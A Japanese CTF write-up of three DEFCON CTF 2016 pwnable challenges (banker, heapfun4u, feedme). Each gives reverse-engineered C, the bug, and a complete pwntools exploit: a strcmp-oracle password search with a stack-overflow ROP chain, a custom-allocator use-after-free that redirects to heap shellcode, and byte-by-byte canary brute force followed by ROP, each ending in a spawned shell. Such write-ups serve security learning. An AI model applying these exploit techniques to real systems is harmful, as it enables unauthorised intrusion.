pwn challenges list easy writeup その6
前回
[DEFCON CTF 2016] banker - Pwnable
ELF 32bit、静的リンク、NX有効。
% file banker banker: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped % checksec banker [*] '/home/hnoson/ctf/defcon/2016/banker/banker' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
/tmp/users.txtを作成すると実行できる。
% touch /tmp/users.txt % ./banker LegitBS Bank Terminal, Routing Number 766683678470 Current UTC time is: Sun Jun 10 15:33:37 2018 Enter username: aaa Enter password: aaa Invalid username/password, error code=0 Enter username:
0x804a480
で/tmp/users.txtを開き、0x804a0b7
でユーザを一行ずつ読み込んでいる。
コードを読んでみるとスペースで区切られた3つの要素をそれぞれユーザ名、base64でエンコードされたパスワード、adminかどうかのフラグであることがわかる。
そこでadminを作成して実行してみる。
% echo "admin `echo -n password | base64` 1" > /tmp/users.txt % ./banker LegitBS Bank Terminal, Routing Number 766683678470 Current UTC time is: Sun Jun 10 15:48:30 2018 Enter username: admin Enter password: password Successfully logged in as: admin Commands: 1) New Transfer 2) View Pending Transfers 3) Delete Transfer 4) Logout and Commit Transfers 5) Logout and DO NOT commit Transfers 6) Admin Console 6 Admin Commands: 1) Create New User 2) View Users 3) Delete User 4) Exit
しかし、本番ではおそらくパスワードは公開されていないので何も知らない状態から特定する必要がある。
% ./banker LegitBS Bank Terminal, Routing Number 766683678470 Current UTC time is: Sun Jun 10 17:10:10 2018 Enter username: admin Enter password: aa Invalid username/password, error code=1 Enter username: admin Enter password: zzzzzzzz Invalid username/password, error code=-1 Enter username:
適当にパスワードを入力してみるとerror codeとして1または-1が出力される。これはstrcmpの出力であるため、二分探索をすることでパスワードを特定できる。
def search_password(): s = process('./banker') letters = ''.join(sorted(string.letters + string.digits)) length = len(letters) l = 0 r = length ** 8 * 8 while l + 1 < r: m = (l + r) // 2 password = '' x = m for i in range(8): password = letters[x % length] + password x //= length password = password[:x+1] log.info('Password: %s' % password) s.sendlineafter('username: ', 'admin') s.sendlineafter('password: ', password) res = s.recvline(False) while 'delayed' in res: res = s.recvline(False) if 'Successfully' in res: return password elif '-1' in res: r = m else: l = m return None
Create New Userでは、パスワードを0x100文字まで入力できる。また、パスワードがalphanumericかどうか判定しているが、そうでなかったとしてもそれ以降の処理は変わらないので意味はない。
// 0x8049565 void create_user() { // read username ... // read password for (;;) { string pass; read_line(pass, buf, 0x100); if (pass.length < 6) { printf("Invalid password, must be a minimum of %d characters.\n"); continue; } } for (int i = 0; i < pass.length; i++) { if (!isalnum(pass[i])) { printf("Invalid character %c in password, only alphanumeric is accepted.\n"); break; } } // add user to /tmp/users.txt }
次に/tmp/users.txtからユーザを読み込む処理を見てみる。
void load_user_info(FILE *fp, char *username, char *password, int *admin) { ... char *pass = base64_decode(encoded); strncpy(password, pass, strlen(encoded)); ... } void load_users_info() { FILE *fp = fopen("/tmp/users.txt", "r"); char password[8]; ... load_user_info(fp, username, password, &admin); ... }
エンコードされたパスワードを配列にコピーしているが、領域が8bytesしか用意されていないため、パスワードが長いユーザを作成するとスタックバッファオーバーフローする。このバイナリはSSPが無効なのでオーバーフローは検知されない。execve("/bin/sh",NULL,NULL)
を実行してシェルを取った。
#!/usr/bin/env python from pwn import * import string def enter_password(password = None): if password: s.sendlineafter('username: ', 'admin') s.sendlineafter('password: ', password) return True letters = ''.join(sorted(string.letters + string.digits)) length = len(letters) l = 0 r = length ** 8 * 8 while l + 1 < r: m = (l + r) // 2 password = '' x = m for i in range(8): password = letters[x % length] + password x //= length password = password[:x+1] log.info('Password: %s' % password) s.sendlineafter('username: ', 'admin') s.sendlineafter('password: ', password) res = s.recvline(False) while 'delayed' in res: res = s.recvline(False) print res if 'Successfully' in res: return True elif '-1' in res: r = m else: l = m return False def create(username, password): delete(username) s.sendlineafter('Console\n', '6') s.sendlineafter('Exit\n', '1') s.sendlineafter('Username: ', username) s.sendlineafter('Password: ', password) s.sendlineafter('Exit\n', '4') def delete(username): s.sendlineafter('Console\n', '6') s.sendlineafter('Exit\n', '3') s.sendlineafter('delete: ', username) s.sendlineafter('Exit\n', '4') def logout(): s.sendlineafter('Console\n', '5') if __name__ == '__main__': s = process('./banker') elf = ELF('./banker') if not enter_password(): exit(0) pop_eax = 0x8057c56 pop_ecx_ebx = 0x8083651 pop_edx = 0x808362a read_line = 0x804a6b0 leave = 0x8048d98 int_0x80 = 0x8084040 payload = '' payload += 'A' * 0x3e payload += p32(elf.bss(0x500 - 0x4)) # read_line(bss_addr, _, 0xfffffff) payload += p32(read_line) payload += p32(leave) payload += p32(elf.bss(0x600)) + p32(elf.bss(0x500)) + p32((1<<31)-1) create('A', payload) logout() # execve("/bin/sh", NULL, NULL) payload = '' payload += p32(pop_eax) + p32(0xb) payload += p32(pop_ecx_ebx) + p32(0) + p32(elf.bss(0x520)) payload += p32(pop_edx) + p32(0) payload += p32(int_0x80) payload += '/bin/sh\0' s.sendline(payload) s.interactive()
[DEFCON CTF 2016] heapfun4u - Baby's First
ELF 64bit、NX有効。
% file heapfun4u heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped % checksec heapfun4u [*] '/home/hnoson/ctf/defcon/2016/heapfun4u/heapfun4u' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
解析した結果が以下のCコード(malloc, heapは静的解析をするのが面倒だったためCには移していない)
int num; // 0x602550 void *bin; // 0x602558 char *list[100]; // 0x6020a0 int sizes[100]; // 0x6023c0 void print_list() { for (int i = 0; i < 100; i++) { if (list[i]) { printf("%d) %p -- %d\n",i+1,list[i],sizes[i]); } } } void write_buffer() { char buf[0x10]; // rbp-0x20 print_list(); printf("Write where: "); if (!read(0,buf,0xf)) exit(0); int index = atoi(buf) - 1; // rbp-0x4 if (index < 0 || index >= 100) exit(0); if (list[index] == NULL) exit(0); printf("Write what: "); if (!read(0,list[index],sizes[index])) exit(0); } void nice_guy() { int dummy; // rbp-0x4 printf("Here you go: %p\n",&dummy); } int main(void) { char buf[0x100]; memset(); setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); for (;;) { puts("[A]llocate Buffer"); puts("[F]ree Buffer"); puts("[W]rite Buffer"); puts("[N]ice guy"); puts("[E]xit"); printf("| "); if (!read(0,buf,0xff)) exit(0); switch (buf[0]) { case 'A': if (num == 100) exit(0); printf("Size: "); if (!read(0, buf, 0xff)) exit(0); int size = atoi(buf); list[num] = malloc(size); sizes[num] = size; if (!list[num]) exit(0); num++; break; case 'F': print_list(); printf("Index: "); if (!read(0,buf,0x100)) exit(0); int index = atoi(buf) - 1; if (index < 0 || index >= 100) exit(0); if (list[index] == NULL) exit(0); free(list[index]); // use after free break; case 'W': write_buffer(); break; case 'N': nice_guy(); break; case 'E': puts("Leave"); return 0; default: exit(0); } } return 0; }
- Allocate Buffer: 指定したサイズだけ領域をmallocで確保する
- Free Buffer: 指定したインデックスの領域をfreeする(use after freeがある)
- Write Buffer: 指定したインデックスに書き込みをする。この際heapのアドレスが出力される
- Nice guy: stackのアドレスを出力する
- Exit: return 0
関数名をmalloc, freeと命名したがこれらはlibcの関数ではなく独自のものが実装されている。すべてを解析したわけではないので重要な部分だけ示す。
- それぞれのchunkはsizeの後にユーザが読み書きできる領域が来て、最後の2wordsはfreeされたときにfree listのポインタとして使われる。
size | buffer | ... | [fd] | [bk] |
- chunk sizeの1bit目は使用中かどうかを表すフラグ
- free listは1つだけであり、先頭へのポインタは0x602558(bin)に格納されている
- freeをするとそのchunkのfdにbinの値を書き込み、binをそのchunkへのポインタに書き換える
- mallocするときはfree listを順番に辿っていって確保したいサイズより大きいchunkが見つかったらそれを返す。このとき返すchunkがfree listの先頭ならばbinをfdの値に書き換える。free listに適切なchunkがなければheapを拡張してその領域を返す
まず、use after freeの脆弱性があるためfreeしたあとにfdの値を書き換えて再びmallocすることでbinを任意のアドレスに設定でき、次のmallocでそのアドレスの領域を確保することができる。これによってstackを書き換えて戻り番地を操作できる。今回のheap領域は実行可能であるためheapにシェルコードを書き込み、戻り番地をheapのアドレスに書き換えてシェルを起動した。
#!/usr/bin/env python from pwn import * def allocate(sz): s.sendafter('| ', 'A') s.sendlineafter('Size: ', str(sz)) def free(index): s.sendafter('| ', 'F') s.sendlineafter('Index: ', str(index)) def write(index, content, num=0): s.sendafter('| ', 'W') ret = {} for _ in range(num): i = int(s.recvuntil(') ')[:-2]) ret[i] = int(s.recvuntil(' ')[:-1], 16) s.recvline() s.sendlineafter('where: ', str(index)) s.sendafter('what: ', content) return ret def nice(): s.sendafter('| ', 'N') s.recvuntil('go: ') return int(s.recvline(False), 16) def leave(): s.sendafter('| ', 'E') if __name__ == '__main__': context.arch = 'x86_64' elf = ELF('./heapfun4u') s = process(['./heapfun4u']) list_addr = 0x6020a0 stack_addr = nice() + 0x104 log.info('stack address: %#x' % stack_addr) allocate(0x100) heap_base = write(1, 'A', 1)[1] - 0x8 log.info('heap base: %#x' % heap_base) free(1) allocate(0x10) allocate(0x10) allocate(0x100) free(1) write(1, p64(stack_addr)) allocate(0x10) s.sendafter('| ', 'A' * 0xf0 + p64(0x128)) s.sendafter('Size: ', str(0x128)) write(6, 'A' * 0x30 + p64(heap_base + 0x38)) write(4, asm(shellcraft.sh())) leave() s.recvuntil('Leave\n') s.interactive()
[DEFCON CTF 2016] feedme - Baby's First
ELF 32bit、静的リンク、NXとSSP有効(checksecは__stack_chk_fail関数があるかどうかでSSPの判定をしているため検知されていない)。
% file feedme feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped % checksec feedme [*] '/home/hnoson/ctf/defcon/2016/feedme/feedme' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1byte目にサイズを受け取り、そのサイズ分入力を許しているがstack buffer overflowがある。 BOFはSSPによって検知されるが、このプログラムはforkで何度も同じプログラムを実行しているため(canaryの値も同じ)、canaryを1byteずつ全探索することができる。 あとはROPすればシェルを起動できる。
#!/usr/bin/env python from pwn import * def feed(data): s.send(chr(len(data))) s.send(data) if __name__ == '__main__': s = process('./feedme') elf = ELF('./feedme') int0x80 = 0x8049761 pop_eax = 0x80bb496 pop_ebx = 0x80481c9 pop_edx = 0x806f34a lea_ecx_edx = 0x80e7bfa pop2ret = 0x804838d readn = 0x8048e7e payload = 'A' * 0x20 for i in range(4): for j in range(0x100): feed(payload + chr(j)) s.recvuntil('...\n') if s.recvline(False).startswith('YUM'): payload += chr(j) break payload += 'A' * 0xc payload += p32(readn) payload += p32(pop2ret) payload += p32(elf.bss(0x500)) + p32(8) payload += p32(pop_eax) + p32(0xb) payload += p32(pop_ebx) + p32(elf.bss(0x500)) payload += p32(pop_edx) + p32(0) payload += p32(lea_ecx_edx) payload += p32(int0x80) feed(payload) s.send('/bin/sh\0') s.recvuntil('...\n') s.interactive()
続き